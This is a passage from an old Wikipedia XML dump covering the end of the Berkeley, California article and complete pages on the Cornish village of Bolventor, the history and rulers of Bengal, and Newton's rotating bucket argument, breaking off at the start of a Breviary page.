* [[List of Nobel laureates associated with University of California, Berkeley|List of Nobel laureates associated with UC Berkeley]]
* [[List of University of California, Berkeley faculty|List of UC Berkeley faculty]]
* [[List of University of California, Berkeley alumni|List of UC Berkeley alumni]]

==Places==
===Streets===
Main streets include: Shattuck Avenue, home to the downtown business district and the Gourmet Ghetto to the north; [[Telegraph Avenue]]; University Avenue, including the Indian business districts;
[[San Pablo Avenue]]; College Avenue; Martin Luther King Junior Way; and [[Solano Avenue]].

===Bicycle and Pedestrian Paths===
*[[Ohlone Greenway]]

*[[San Francisco Bay Trail]]

*I-80 Bridge - opened in 2002, a green, arch-suspension bridge spanning Interstate 80, for bikes and pedestrians only, giving access from the city at the foot of Addison Street to the San Francisco Bay Trail and the Berkeley Marina.

*Berkeley's Network of Historic Pathways - Berkeley has a network of charming and historic pathways that link the winding neighborhoods found in the hills. If you have the stamina, you can look out over the panoramic landscape that makes the East Bay so unique.  Some sets of stairs are quite challenging, and are falling prey to time and weather, so use caution when picking a path. You can find a complete guide to the pathways at [http://www.berkeleypaths.org/paths/stories/discover.htm Berkeley Path Wanderers Association]

=== Districts and neighborhoods ===
*The [[Berkeley Hills]] - Roughly bounded by Cedar Street, Spruce Street, Eunice Street, Sutter Street, and Arlington Avenue on the west, and [[Tilden Regional Park]] on the east.
**Buena Vista Hill / Nut Hill - Roughly bounded by Euclid Avenue on the west and the main University of California campus on the south.
**Cragmont
**North Cragmont
**Southampton - Roughly bounded by Arlington Avenue on the west, Tilden Regional Park on the east, and Marin Avenue on the south.
*[[Claremont (East Bay, California)|Claremont]] - Centered around the intersection of Claremont Avenue, Ashby Avenue, and Claremont Boulevard.  Parts of the Claremont district are in the City of Oakland, including most of:
**Claremont Hills - Roughly bounded by Tunnel Road and the Claremont Hotel.
*[[Downtown Berkeley, California|Downtown Berkeley]] - Roughly bounded by Martin Luther King Jr Way, Hearst Avenue, Oxford Street, and Dwight Way.
*[[Elmwood, Berkeley, California|Elmwood]] - Roughly bounded by Dwight Way, Telegraph Avenue and the Oakland city limits.
*[[North Berkeley, Berkeley, California|North Berkeley]] - Roughly bounded by Hearst Avenue and Eunice Street.
*[[Northbrae, Berkeley, California|Northbrae]] - Roughly bounded by Solano Avenue on the north, Hopkins and Eunice Streets on the south, the Albany city limits on the west, and Spruce Street on the east.
*[[Northside, Berkeley, California|Northside]] - Roughly bordered by Hearst Avenue and Cedar Street.
*[[Panoramic Hill (East Bay, California)|Panoramic Hill]] - Bounded by Piedmont Avenue, the Clark Kerr Campus and the main University of California campus.  The eastern half of this neighborhood is in the City of Oakland.
*[[South Berkeley, Berkeley, California|South Berkeley]] - Roughly bounded by Telegraph Avenue, Dwight Way, and the Oakland city limits.
**[[Harmon Tract]] - Centered on the intersection of Sacramento Street and Harmon Street.
**[[Lorin District]] - Centered on the intersection of Alcatraz Avenue and Adeline Street.
*[[Southside, Berkeley, California|Southside]] - Between Bancroft Way and Dwight Way.
*[[Thousand Oaks, Berkeley, California|Thousand Oaks]] - Roughly bounded by Solano Avenue, The Alameda, and Arlington Avenue
*The University of California, Berkeley campus
*[[West Berkeley, Berkeley, California|West Berkeley]] - Roughly bounded by [[San Francisco Bay]] on the west, and San Pablo Avenue or Sacramento Street on the east.
**[[Berkeley Marina]]
**[[Oceanview]] - Located around the Fourth Street shopping district; roughly bounded by Gilman Street on the north, University Avenue on the south, San Pablo Avenue on the east, and the [[San Francisco Bay]] on the west. 
*[[Westbrae, Berkeley, California|Westbrae]] - Centered on the intersection of Santa Fe Avenue and Gilman Street.

===Points of interest===
[[Image:Sather-Tower.jpg|thumbnail|[[Sather Tower|The Campanile]].]]
*[[Berkeley Repertory Theatre]]
*[[Cloyne Court Hotel]], a member of the [[University Students' Cooperative Association]]
*[[Hearst Greek Theatre]]
*[[Lawrence Berkeley National Laboratory]]
*[[Regional Parks Botanic Garden]]
*[[University of California, Berkeley]]
*[[University of California Botanical Garden]]
*[[Berkeley Rose Garden]]

Other notable places include:
*The Campanile belltower ([[Sather Tower]]) in the [[University of California, Berkeley]] campus.
*[[Telegraph Avenue]], along with [[People's Park]], known as a center of counterculture activity during the 1960s-70s.
*[[Chez Panisse]], the birthplace of California cuisine.
*The [[Claremont Resort]]. (On the border between Berkeley and Oakland.)
*[[Berkeley High School (California)|Berkeley High School]] (the city's only public high school), is considered a [http://www.berkeleyheritage.com/berkeley_landmarks/berkeley_highschool.html Landmark].
*The [[Berkeley Community Theatre]], a well-known concert hall.
*[[924 Gilman Street|924 Gilman]], an all-ages [[punk rock]] music club where Berkeley natives [[Green Day]], [[Rancid]] and [[AFI]] started out.
*[[The Freight and Salvage]], a [[folk music|folk]], traditional, and [[world music]] club in West Berkeley.
*[[Cheese Board Collective|The Cheese Board]], a [[collective]] bakery, cheese shop, and pizzeria.

===Landmarks and Historic Districts===
165 buildings in Berkeley are designated as local landmarks or local structures of merit. Of these, 49 are listed in the National Register of Historic Places, and one is listed as a State Historic Landmark. [[National Historic Landmarks]] include:
*Berkeley City Hall, now Old City Hall - John Bakewell Jr. &amp; Arthur M. Brown Jr. (1907)
*Berkeley Women’s City Club, now Berkeley City Club - [[Julia Morgan]] (1929–30)
*Church of the Good Shepherd, Episcopal - Charles L. Bugbee (1878)
*First Church of Christ, Scientist - [[Bernard Maybeck]] (1910)
*St. John’s Presbyterian Church, now Julia Morgan Center for the Arts - [[Julia Morgan]] (1908, 1910)
*William R. Thorsen House, now Sigma Phi Society Chapter House - [[Charles Sumner Greene]] &amp; [[Henry Mather Greene]] (1908–10)

Historic Districts listed in the National Registrar of Historic Places:
*Berkeley Historic Civic Center District - Roughly bounded by McKinney Avenue, Addison Street, Shattuck Avenue, and Kittredge Street (99 acres, 7 buildings, 1 structure; added 1998).
*George C. Edwards Stadium - Located at intersection of Bancroft Way and Fulton Street on University of California, Berkeley campus (80 acres, 3 buildings, 4 structures, 3 objects; added 1993).
*Panoramic Hill, also known as University Terrace - Located at Panoramic Way, Canyon Road, Mosswood Road, Orchard Lane, and Arden Road (123 acres, 61 buildings, 16 structures, 1 object; added 2005).
*State Asylum for the Deaf, Dumb and Blind, also known as California Schools for the Deaf and Blind, now Clark Kerr Campus - Bounded by Dwight Way, the City line, Derby Street, and Warring Street (500 acres, 20 buildings; added 1982).

City-designated Historic Districts:
*Civic Center Historic District - Between Center Street &amp; Allston Way, Milvia Street &amp; Martin Luther King, Jr. Way
*Delaware Street Historic District - 800 Block of Delaware Street &amp; 1801 Fifth Street
*La Loma Park Historic District - La Loma Avenue between La Vereda Road &amp; Buena Vista Way
*Ocean View Sisterna Historic District - Sisterna Tract Block 106, bounded by Fifth Street to the west, Addison Street to the north, Sixth Street to the east, and Allston Way to the south

See [[List of Berkeley Landmarks, Structures of Merit, and Historic Districts]]

==Trivia==
*Due to the generally liberal to radical views of the Berkeley public, the city is sometimes mockingly referred to as the People's Republic of Berkeley (and have led some to deride it as &quot;Berzerkley&quot;). This reputation, along with its generally temperate weather, high rates of tourism, and large student population have attracted large populations of [[transient]] people, many of whom are [[homeless]]. As a result, and because of the city's proximity to high-poverty areas in neighboring [[Oakland, California]], crime rates per capita are often among the top in the state. 

*Berkeley's police department, under its first chief [[August Vollmer]] early in the 20th century, was the first in the U.S. to require that officers have a college degree. This department developed the [[lie detector]] test, and was one of the first to use fingerprints and radios. In [[1973]], Berkeley's city council enacted its well-known Berkeley [[Marijuana]] Initiative. The act ordered Berkeley police to make &quot;no arrests and issue no citations for violations of marijuana laws.&quot;

*In [[1986]] Berkeley officially became a [[Nuclear Free Zone]] after a local vote, disallowing the operation of [[nuclear reactor]]s within city limits and preventing work from being done on [[nuclear weapon]]s within its borders. This is somewhat ironic, given Berkeley's past: the [[University of California, Berkeley|UC Berkeley]] played a major role in the development of nuclear weapons in the [[Manhattan Project]], and a nuclear research center, [[Lawrence Berkeley National Laboratory]]), is located in the hills above the city. Street signs posted at the city borders declaring its Nuclear Free Zone status are the most noticeable effect of the measure. The University once housed a small research [[nuclear reactor|reactor]], which was decommissioned in the 1990s, though the University denies that this had anything to do with the Act.

* Berkeley celebrates &quot;Indigenous People's Day&quot; rather than [[Columbus Day]].

*In 1989, Berkeley banned the use of [[polystyrene]] packaging for keeping [[McDonald's]] hamburgers warm. This was one of the earliest events in the [[Plastic recycling|plastics]] [[recycling]] movement in the U.S.

*The City of Berkeley is home to a number of well-known artists, architects, composers, writers and thinkers:  [[Fritjof Capra]],  [[Susan Griffin]], [[Christopher Alexander]], [[Rita Moreno]], [[Michael Parenti]], [[Michael Lerner]], [[Michael Chabon]], and others. The city also has more independent publishers per capita than any other city in the country, and more bookstores per capita. Additionally, many famous bands have originated in Berkeley, including [[Operation Ivy (band)|Operation Ivy]] and [[Green Day]]. Berkeley, being one of the birthplaces of underground and independent comics, is also noted as a haven for cartoonists, including [[Dan Clowes]] and [[Adrian Tomine]].

*Berkeley has become known as a [[gourmet food]] center.  Even by the standards of the [[Bay Area]] it has an exceptional number of specialty food shops and restaurants, the [http://www.berkeleybowl.com/ Berkeley Bowl Supermarket], and a Berkeley restaurant, [[Chez Panisse]], is regarded as the birthplace of [[California cuisine]]. Its proprietor, [[Alice Waters]], has been called &quot;the mother of American cooking.&quot;  Among the shops, [http://cheeseboardcollective.coop/ The Cheese Board Collective] is a well-known, cooperatively-run bakery and cheese shop.

*Since the [[1970s]], the [[Bay Area Rapid Transit]] system (BART), a [[metro]] train system, has linked Berkeley to [[San Francisco, California|San Francisco]] and the other cities of the Bay Area. Berkeley has nevertheless maintained its own character. Originally the planners of BART proposed an above-ground route through Berkeley, but Berkeley residents voted for a tunnel route instead, whose extra cost was funded by a [[bond]] issue. Consequently, BART runs entirely in tunnel through Berkeley, but above ground in the neighboring city of [[Albany, California|Albany]].

*The city is also the birthplace of the nation's first community funded radio station, [[KPFA]], the flagship station of the [[Pacifica Network]].

*&quot;Three things have come out of Berkeley: [[LSD]], [[Berkeley Software Distribution|BSD]], and the [[Society for Creative Anachronism|SCA]]. This is no coincidence.&quot; -- Anon.

*Fewer people live in Berkeley today than did 55 years ago.  Few other cities in the western United States can make this claim.

*[[Dick Leonard]], the “father of modern rock climbing,” and noted environmentalist [[David Brower]], founder of [[Friends of the Earth]], learned rock climbing and developed their mountaineering techniques at [[Indian Rock Park]] in Berkeley. Brower used this special knowledge to prepare training manuals during World War II.

*In [[1966]], the first [[Peet's Coffee]] opened in Berkeley, at the corner of Vine and Walnut.

== External links ==
{{Commons|Category:Berkeley, California|Category:Berkeley, California}}
*[http://www.ci.berkeley.ca.us/ Official Government Website]
*[http://www.cityofberkeley.info/ City Of Berkeley, California]
*[http://www.berkeleypubliclibrary.org/ Berkeley Public Library]
*[http://www.berkeleyheritage.com/berkeley_landmarks/landmarks.html Berkeley Landmarks]
*[http://democrats.assembly.ca.gov/members/a14/ California State Assembly District 14]
*[http://www.berkeleydailyplanet.com/ ''Berkeley Daily Planet'' Website]
*[http://www.peoplespark.org/ People's Park]
*[http://www.yeah-berkeley.org/ Homeless Youth Shelter]
*[http://www.bffa1227.org/ Berkeley Firefighters Association]
*[http://www.terragalleria.com/california/california.berkeley.html Photos of Berkeley]
*[http://www.dailycal.org/ The Daily Californian]
*[http://www.csua.berkeley.edu/~tobin/wiki/moin.cgi/FrontPage Berkeley Wiki], a local community wiki / visitor's guide
{{Mapit-US-cityscale|37.871775|-122.274603}}

{{Cities of Alameda County, California}}
{{California}}

[[Category:Cities in California]]
[[Category:Alameda County, California]]
[[Category:Berkeley, California|*]]
[[Category:San Francisco Bay Area|Berkeley]]
[[Category:University towns]]

[[bg:Бъркли]]
[[cs:Berkeley]]
[[da:Berkeley]]
[[de:Berkeley (Kalifornien)]]
[[es:Berkeley (California)]]
[[fr:Berkeley (Californie)]]
[[ja:バークリー (カリフォルニア州)]]
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[[zh:伯克利]]</text>
    </revision>
  </page>
  <page>
    <title>Bolventor</title>
    <id>4861</id>
    <revision>
      <id>26829948</id>
      <timestamp>2005-10-29T23:24:45Z</timestamp>
      <contributor>
        <username>MacRusgail</username>
        <id>238113</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Bolventor''' is a small village, which lies in the heart of [[Bodmin Moor]], [[Cornwall]], [[England]].  [[Daphne du Maurier]] chose Bolventor as the setting for ''[[Jamaica Inn]]'', her novel about Cornish [[smuggling|smugglers]].  The original coaching house, Jamaica Inn, that inspired the novel has stood on the main road through the village since [[1547]]. Bolventor once stood on the main road through Cornwall (latterly designated the [[A30 road|A30]]), but has now been bypassed by the [[dual carriageway]]. The small [[church]] that lies to the east of the village closed some years ago.

The village is said to take its name from the &quot;Bold Venture&quot; that it must have appeared to build a farm in this moorland.

[[Category:Villages in Cornwall]]
{{Cornwall-geo-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Bengal</title>
    <id>4862</id>
    <revision>
      <id>41927673</id>
      <timestamp>2006-03-02T18:01:06Z</timestamp>
      <contributor>
        <ip>84.74.61.209</ip>
      </contributor>
      <comment>/* Early History */</comment>
      <text xml:space="preserve">:''For the breed of [[cat]], see [[Bengal cat]]; for the tiger, see [[Bengal Tiger]]; for the [[American football]] franchise, see [[Cincinnati Bengals]]''

'''Bengal''', known as ''Bôngo'' ([[Bengali]]: বঙ্গ), ''Bangla'' (বাংলা), ''Bôngodesh'' (বঙ্গদেশ), or ''Bangladesh'' (বাংলাদেশ) in [[Bangla]], is a region in the northeast of [[South Asia]]. Today it is mainly divided between the independent nation of [[Bangladesh]] (eastern Bengal), and the [[India]]n state of [[West Bengal]], although some regions of the previous kingdom of Bengal (during local monarchial regimes and British rule) are now part of the Indian states of [[Bihar]], [[Tripura]] and [[Orissa]].

== History ==

The [[history]] of Bengal can be divided according to the [[religion]] of its rulers. Also see [[History of Bengal]] and [[Bengal Renaissance]].

===Early History===

One of the earliest historical references to be found to date is the mention of a land named ''Gangaridai'' by the Greeks around [[100 BC]]. The word is speculated to have come from ''Gangahrd'' (Land with the [[Ganges]] in its heart) and believed to be referring to an area in Bengal.

More concrete evidence of '''Bengal''' becoming a political entity is found in the [[6th century]], with the first recorded independent king of Bengal - [[Shashanka]] - reigning around [[606]]. 

[[Image:IndianBuddha11.JPG|thumb|170px|[[Buddha]] and [[Bodhisattva]]s, [[11th century]], [[Pala Empire]].]]
The first [[Buddhism|Buddhist]] [[Pala Empire|Pala]] king of Bengal, ''Gopala-I'' came to [[power (sociology)|power]] in [[750]] in [[Gaur]] by [[election]]. This event is recognized as one of the first [[democratic]] event in the history of [[South Asia]]. The dynasty's most powerful kings, Dharampala (reigned [[775]]-[[810]]) and Devapala (reigned [[810]]-[[850]]) united Bengal and made the Pala family one of the most important dynasties in ninth-century India. Internecine strife during the reign of Narayanpala (reigned [[854]]-[[908]]) and administrative excesses led to the decline of the dynasty. 

A brief revival of the kingdom under Mahipala I (reigned [[977]]-[[1027]]) ended in battle against the powerful, South Indian [[Chola]] kingdom. The rise of the [[Chandra]] dynasty in southern Bengal expedited the decline of the Palas, and the last Pala king, Madanpala, died in [[1161]].

The [[Malla]] dynasty emerged in Bengal in the seventh century, although they only rose to prominence in the 10th century under [[Jagat Malla]] who moved his capital to [[Bishnupur|Vishnupur]].  Unlike the Buddhist Palas and Chandras, the [[Hinduism|Hindu]] Mallas worshipped first the Hindu god [[Shiva]], then the Hindu god [[Vishnu]]. The Mallas built temples and spectacular religious monuments during their rule in Bengal. 

Under the [[Sena dynasty|Sena]] dynasty, which lasted from [[1095]] to [[1260]], [[Bengali language|Bengali]] emerged as a distinct and important language in 
northern India, and Hinduism began to displace older Buddhism.

===Muslim Rule===

The [[Turkic people|Turkic]] invasion of India (including Bengal) came in the early 13th century. The invaders defeated the Sena king [[Laxmansena]] at his capital, [[Nadia district|Nabadwip]] in [[1203]] ([[1204]]?) The Deva family &amp;mdash; the last Hindu dynasty to rule in Bengal &amp;mdash; ruled briefly in eastern Bengal, although they were suppressed by the mid-fourteenth century.

During the early [[Islam|Muslim]] period, the former kingdom became known as the Sultanate of Bangala, ruled intermittently from the [[Sultanate of Delhi]]. The chaotic shifts in power between the [[Afghan people|Afghan]] and [[Turkey|Turkish]] rulers of that sultanate came to an end when [[Moghul]] rule became established in Bengal during the sixteenth century. 

In [[1534]], the Afghan [[Sher Shah Suri]], or Farid Khan &amp;mdash; a man of incredible military and political skill &amp;mdash; succeeded in defeating the superior forces of the [[Mughals]] under [[Humayun]] at Chausa ([[1539]]) and [[Kannauj]] ([[1540]]). Sher Shah fought back and captured both [[Delhi]] and [[Agra]] as he established the most powerful Bengali kingdom that would ever exist, stretching far into [[Punjab region|Panjab]]. Sher Shah's administrative skill showed in his public works, including the [[Grand Trunk Road]] connecting [[Sonargaon]] in Bengal with [[Peshawar]] in the [[Hindu Kush]]. Sher Shah's rule ended with his death in [[1545]], although even in those five years his reign would have a powerful influence on Indian society, politics, and economics.

Shah Suri's successors lacked his administrative skill, and quarrelled over the domains of his empire. Humayun, who then ruled a rump Mughal state, saw an opportunity and in [[1554]] seized [[Lahore]] and Delhi. Humayun's death in [[1556]] led to the accession of [[Akbar]], the greatest of the [[Mughal]] emperors, who defeated the [[Karani]] rulers of Bengal in [[1576]] and ruled through governors. [[Akbar]] exercised progressive rule and oversaw a period of prosperity (through trade and development) in Bengal and northern India.

Bengal's trade and wealth so impressed the Moghuls that they called the region  the &quot;Paradise of the Nations&quot;. Administration  by governors appointed by the court of the [[Mughal Empire]] court ([[1575]]-[[1717]]) gave way to four decades of semi-independence under the [[Nawab|Nawabs]] of [[Murshidabad]], who respected the nominal sovereignty of the [[Mughal]]s in Delhi. The Nawabs granted permission to the [[French East India Company]] to establish a trading post at [[Chandernagore]] in [[1673]], and the [[British East India Company]] at [[Calcutta]] in [[1690]].

When the British East India Company began strengthening the defences at Fort William (Calcutta), the Nawab, [[Siraj Ud Daulah]], at the encouragement of the French, attacked. Under the leadership of [[Robert Clive]], British troops and their local allies captured Chandernagore in March [[1757]] and seriously defeated the Nawab on [[June 23]] 1757 at the [[Battle of Plassey]], when the Nawab's soldiers betrayed him. The Nawab was assassinated in Murshidabad, and the British installed their own Nawab for Bengal and extended their direct control in the south. Chandernagore was restored to the French in [[1763]]. The Bengalis attempted to regain their territories in [[1765]] in alliance with the Mughal Emperor [[Shah Alam II]], but were defeated again at the [[Battle of Buxar]] (1765). 

The center of Indian culture and trade shifted from Delhi to [[Calcutta]] when the [[Mughal Empire]] fell.

===British Rule===
Scarcely five years into the Company's rule, the catastrophic [[Bengal famine of 1770]], one of the greatest famines of history occurred. Up to a third of the population died in [[1770]] and subsequent years. 

The [[Indian Mutiny]] of [[1857]] replaced rule by the Company with the direct control of Bengal by the [[United Kingdom|British]] crown.

A centre of [[rice]] cultivation as well as fine cotton called [[muslin]] and the world's main source of [[jute]] fibre, Bengal, from the [[1850s]] became one of India's principal centres of industry, concentrated in the capital [[Kolkata]] (known as ''Calcutta'' under the British, always called 'Kolkata' in the native tongue of [[Bengali]]) and its emerging cluster of suburbs. Most of the population nevertheless remained dependent on [[agriculture]], and despite its leading role in Indian political and intellectual activity, the province included some very undeveloped districts, especially in the east. In [[1877]], when [[Victoria of the United Kingdom|Victoria]] took the title of  &quot;Empress of India&quot;, the British declared Calcutta the capital of the [[British Raj]].

India's most populous province (and one of the most active provinces in freedom fighting), in [[1905]] Bengal was divided by the British rulers for administrative purposes into an overwhelmingly [[Hindu]] west (including present-day [[Bihar]] and [[Orissa]]) and a predominantly [[Muslim]] east (including [[Assam]]) ([[1905 Partition of Bengal]]). Hindu - Muslim conflict became stronger through this partition. While Hindu Indians disagreed with the partition saying it was a way of dividing a Bengal which is united by language and history, Muslims supported it by saying it was a big step forward for Muslim society where Muslims will be majority and they can freely practice their religion as well as their culture. But owing to strong Hindu agitation, the British reunited east and west Bengal in [[1912]], and made [[Bihar]] and [[Orissa]] a separate province.

Another major famine occurred during the second world war, the [[Bengal famine of 1943]], in which an estimated 3 million people died.

===Independence===

As partition of British India into [[Hindu]] and [[Muslim]] [[dominion]]s approached in [[1947]], Bengal again split into the state of [[West Bengal]] of secular [[India]] and a [[Islam|Muslim]] region of [[East Bengal]] under [[Pakistan]] (later renamed [[East Pakistan]] in [[1958]])( [[1947 Partition of Bengal]]). East Pakistan (East Bengal) later rebelled against [[Pakistan]]i military rule to become independent [[republic]] of [[Bangladesh]], literally &quot;Land of Bengal&quot;, after a [[Bangladesh Liberation War|war of independence]] against the Pakistani army in [[1971]]. The western part of Bengal, now the state of [[West Bengal]], remains a part of [[India]]. However, culturally and sociologically, the two segments of Bengal share considerably more than just a single language.

Bengal experienced two devastating [[famine]]s costing millions of lives in [[1770]] and [[1943]]. Bengal (both W.Bengal and Bangladesh) is among the most densely populated regions of the world.

==Rulers of Bengal==

===[[Pala Empire|Pala Dynasty]]===
* Gopala I   c. [[750]]-c. [[770]]
* Dharmapala  c. [[770]]-c. [[810]]
* Devapala  c. [[810]]-c. [[850]]
* Vigrahapala I  c. [[850]]-c. [[875]]
* Narayanapala  c. [[875]]-c. [[908]]
* Rajyapala  c. [[908]]-c. [[935]]
* Gopala II  c. [[935]]-c. [[952]]
* Vigrahapala II  c. [[952]]-c. [[988]]
* Mahipala I  c. [[988]]-c. [[1038]]
* Nayapala  c. [[1038]]-c. [[1055]]
* Vigrahapala III  c. [[1055]]-c. [[1070]]
* Mahipala II  c. [[1070]]-c. [[1075]]
* Shurapala  c. [[1075]]-c. [[1077]]
* Ramapala  c. [[1077]]-c. [[1120]]
* Kumarapala  c. [[1120]]-c. [[1125]]
* Gopala III  c. [[1125]]-c. [[1144]]
* Madanapala  c. [[1144]]-c. [[1161]]

===[[Sena dynasty|Sena Dynasty]]===
* [[Ballal Sen]]  c. [[1161]]-c. [[1178]]
* [[Lakshman Sen]]  c. [[1178]]-c. [[1205]]
* Vishwrup Sen  c. [[1205]]-c. [[1220]]
* Keshavar Sen  c. [[1220]]-c. [[1250]]

===Ilyas Dynasty===
* Bughra Khan  [[1282]]-[[1291]]
* Kai Ka'us  [[1291]]-[[1298]]
* Firuz Shah I  [[1298]]-[[1318]]
* Bughra  [[1318]]-[[1319]] (in West [[Bengal]])
* Bahadur  [[1318]]-[[1330]] (in East [[Bengal]],in West [[Bengal]] [[1319]]-[[1323]])
* Ibrahim  [[1323]]-[[1325]] (in West [[Bengal]])
* Azam ul-Mulk  [[1323]]-[[1339]] (in Satgaon)
* Bahram Shah  [[1324]]-[[1336]] (in East [[Bengal]])
* Qadr Khan  [[1325]]-[[1339]] (in West [[Bengal]])
* Mubarrak Shah  [[1336]]-[[1349]] (in East [[Bengal]])
* Ali Shah  [[1339]]-[[1345]] (in West [[Bengal]])
* Ilyas Shah  [[1345]]-[[1357]] (in West [[Bengal]], in whole [[Bengal]] from [[1352]])
* Ghazi Shah  [[1349]]-[[1352]] (in East [[Bengal]])
* Sikandar I  [[1357]]-[[1390]] 
* Azam [[1369]]-[[1410]] - opponent of Sikandar I
* Hamza  [[1410]]-[[1412]]
* Bayazid I  [[1412]]-[[1414]]
* Firuz II  [[1414]]-[[1415]]

===Ganesa Dynasty===
* Raja Ganesh  [[1415]]-[[1418]]
* Mohammed  [[1418]]-[[1431]]
* Ahmad  [[1431]]-[[1436]]

===Ilyas Dynasty===
* Mahmud I  [[1437]]-[[1459]]
* Barbak I  [[1459]]-[[1474]]
* Yusuf  [[1474]]-[[1481]]
* Sikandar II  [[1481]]
* Fath Shah  [[1481]]-[[1486]]

===Habshis Dynasty===
* Barbak II  [[1486]]-[[1487]]
* Firuz III  [[1487]]-[[1489]]
* Mahmud II  [[1489]]-[[1490]]
* Muzaffar  [[1490]]-[[1494]]

===Husaini Dynasty===
* Aladdin Husain  [[1494]]-[[1518]]
* Nusrat  [[1518]]-[[1533]]
* Firuz IV  [[1533]]
* Mahmud III  [[1533]]-[[1538]]

===Suri Dynasty===
* [[Sher Shah Suri|Sher Shah]]  [[1539]]-[[1540]] 
* Khidr  [[1540]]-[[1545]]
* Mohammed Khan  [[1545]]-[[1555]]
* Bahadur  [[1555]]-[[1561]]
* Jalal  [[1561]]-[[1564]]

===Karani (Kararani) Dynasty===
* Sulaiman  [[1564]]-[[1572]]
* Bayazid II  [[1572]]
* Daoud  [[1572]]-[[1576]]

===Nawabs of Bengal===
* Murshid Quli Djafar Khan  [[1703]]-[[1727]]
* Shoja ud-Din  [[1727]]-[[1739]]
* Safaraz Khan  [[1739]]-[[1740]]
* Ali Vardi Khan  [[1740]]-[[1756]]
* [[Siraj Ud Daulah]]  [[1756]]-[[1757]]
* Mir Djafar  [[1757]]-[[1760]]
* Mir Qasim  [[1760]]-[[1763]]
* Mir Djafar (Second time)  [[1763]]-[[1765]]
* Najm ud-Dawlah  [[1765]]-[[1766]]
* Saif ud-Dawlah  [[1766]]-[[1770]]

==See also==
* [[Bangladesh]]
* [[Bengali language]]
* [[Bengali cuisine]]
* [[Music of Bangladesh]]
* [[Music of Bengal]]
* [[Bengali Cinema]]
* [[West Bengal]]
* [[Art of Bengal]]
* [[East Bengal (province)]]

==External links==
*[http://www.hostkingdom.net/india.html#Bengal List of rulers of Bengal]

'''Maps'''

Perry-Castañeda Library Map Collection at [[University of Texas at Austin]] Libraries

:*[http://www.lib.utexas.edu/maps/historical/shepherd/india_shepherd_1923.jpg India 1700-1792 from The Historical Atlas by William R. Shepherd, 1923]
:*[http://www.lib.utexas.edu/maps/historical/india1760_1905.jpg India 1760 from The Public Schools Historical Atlas edited by C. Colbeck. Longmans, Green, and Co. 1905]
:*[http://www.lib.utexas.edu/maps/historical/india_1882.jpg India 1882 from A Dictionary Practical, Theoretical, and Historical of Commerce and Commercial Navigation by J.R. M'Culloch. Longmans, Green and Co. London, 1882]





{{South Asia}}

[[Category:Geography of Bangladesh]]
[[Category:History of Bangladesh]]
[[Category:Bengal]]
[[Category:Geography of India]]
[[Category:History of India]]
[[Category: Regions of India]]

[[de:Bengalen]]
[[et:Bengal]]
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[[fr:Bengale]]
[[hi:बांग्ला]]
[[lt:Bengalija]]
[[nl:Bengalen]]
[[sv:Bengalen]]
[[zh:孟加拉]]</text>
    </revision>
  </page>
  <page>
    <title>Bucket argument</title>
    <id>4864</id>
    <revision>
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      <timestamp>2006-02-05T15:47:23Z</timestamp>
      <contributor>
        <ip>141.157.72.72</ip>
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      <text xml:space="preserve">[[Isaac Newton]]'s rotating '''bucket argument''' is aimed at showing that  true rotational motion cannot be defined as the relative rotation of the body with respect to the immediately surrounding bodies.  It is one of five arguments from the &quot;properties, causes, and effects&quot; of true motion and rest that support his contention that, in general, true motion and rest cannot be defined as special instances of motion or rest relative to other bodies, but instead can be defined only by reference to absolute space.

These arguments, and a discussion of the distinctions between absolute and relative time, space, place and motion, appear in a Scholium at the very beginning of his great work, The Mathematical Principles of Natural Philosophy (1687), which established the foundations of classical mechanics and introduced his law of universal gravitation, which yielded the first quantitatively adequate dynamical explanation of planetary motion.

Despite their embrace of the principle of rectilinear inertia and the recognition of the kinematical relativity of apparent motion (which underdetermines whether the Ptolemaic or the Copernican system is correct), natural philosophers of the seventeenth century continued to consider true motion and rest as genuinely contrary predications of an individual body.  The dominant view Newton was concerned to refute was due to Descartes.  It held that empty space is a metaphysical impossibility, that space is nothing other than the extension of matter, and that the true motion of a body consists in its transference from the vincinity of bodies immediately surrounding it to the vicinity of other bodies. Descartes recognized that an indicator of true rotational motion is the tendency [conatus] of the parts of the body to recede from the axis of rotation.

Newton discusses a [[bucket]] filled with [[water]] hung by a cord.   If the cord is twisted up tightly on itself and then the bucket is released, it begins to spin rapidly , not only with respect to the experimenter, but also in relation to the water it contains.
Although the relative motion at this stage is the greatest, the surface of the water remains flat, indicating that the parts of the water have no tendency to recede from the axis of relative motion. Eventually,  as the cord continues to unwind, the surface of the water assumes a concave shape as it assumes  the spinning motion of bucket relative to the experimenter. This shows that the parts of the water have acquired a centrifugal endeavor despite the fact that they are at rest relative to their immediate surroundings, contrary to Descartes theory. 

Having established to his satisfaction that true motion can be understood only in reference to absolute space, Newton remains concerned to address the problem how it is that we can experimentally determine the true motions of bodies in light of the fact that absolute space is not something that can be  perceived.  This, he says, can be accomplished by observing the causes and effects of motion as well as the apparent motions of bodies relative to one another, which are the differences of true motions. For example, if two [[globes]], floating in [[space]], connected by a cord that is under [[tension]], with no other clues to assess the situation, measuring the amount of tension in the cord alone suffices to indicate how fast the two objects are revolving around the common center of mass. (This employs an effect of true motion.) Also, the sense of the rotation --- whether it is in the clockwise or the counter-clockwise direction, can be discovered by applying forces to opposite faces of the globes and ascertaining whether this leads to an increase or a decrease in the tension of the cord.  (This employs a cause of true motion.)  Alternatively, the sense of the rotation can be determined by measuring the apparent motion of the globes with respect to a system backgound bodies that, according to the preceding methods, have been established not to be in a state of rotation. 

== See also ==
[[Philosophy of space and time#Absolutism vs. Relationalism|&quot;Absolutism vs. Relationalism&quot; at Philosophy of space and time]]

==External links==
* [http://acnet.pratt.edu/~arch543p/readings/Newton.html Newton's Scholium] The text from the ''Scholium'' of the ''Principia'' as translated in 1729 from its original Latin by A. Motte and later translated to 20th century English by F. Cajori
* [http://plato.stanford.edu/entries/newton-stm/ Newton's Views on Space, Time, and Motion] from Stanford Encyclopedia of Philosophy, article by Robert Rynasiewicz. At the end of this article, loss of fine distinctions in the translations as compared to the original Latin text is discussed. 
*[http://www.iep.utm.edu/l/leib-met.htm Life and Philosophy of Leibniz] see section on ''Space, Time and Indiscernibles'' for Leibniz arguing against the idea of space acting as a causal agent.  

[[Category:Thought experiments]]
[[Category:Isaac Newton]]
[[Category:Classical mechanics]]
[[Category:Philosophical arguments]]</text>
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  </page>
  <page>
    <title>Breviary</title>
    <id>4865</id>
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      <id>38838960</id>
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        <username>Cmdrjameson</username>
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      <minor />
      <comment>Remove refs from Amazon URL</comment>
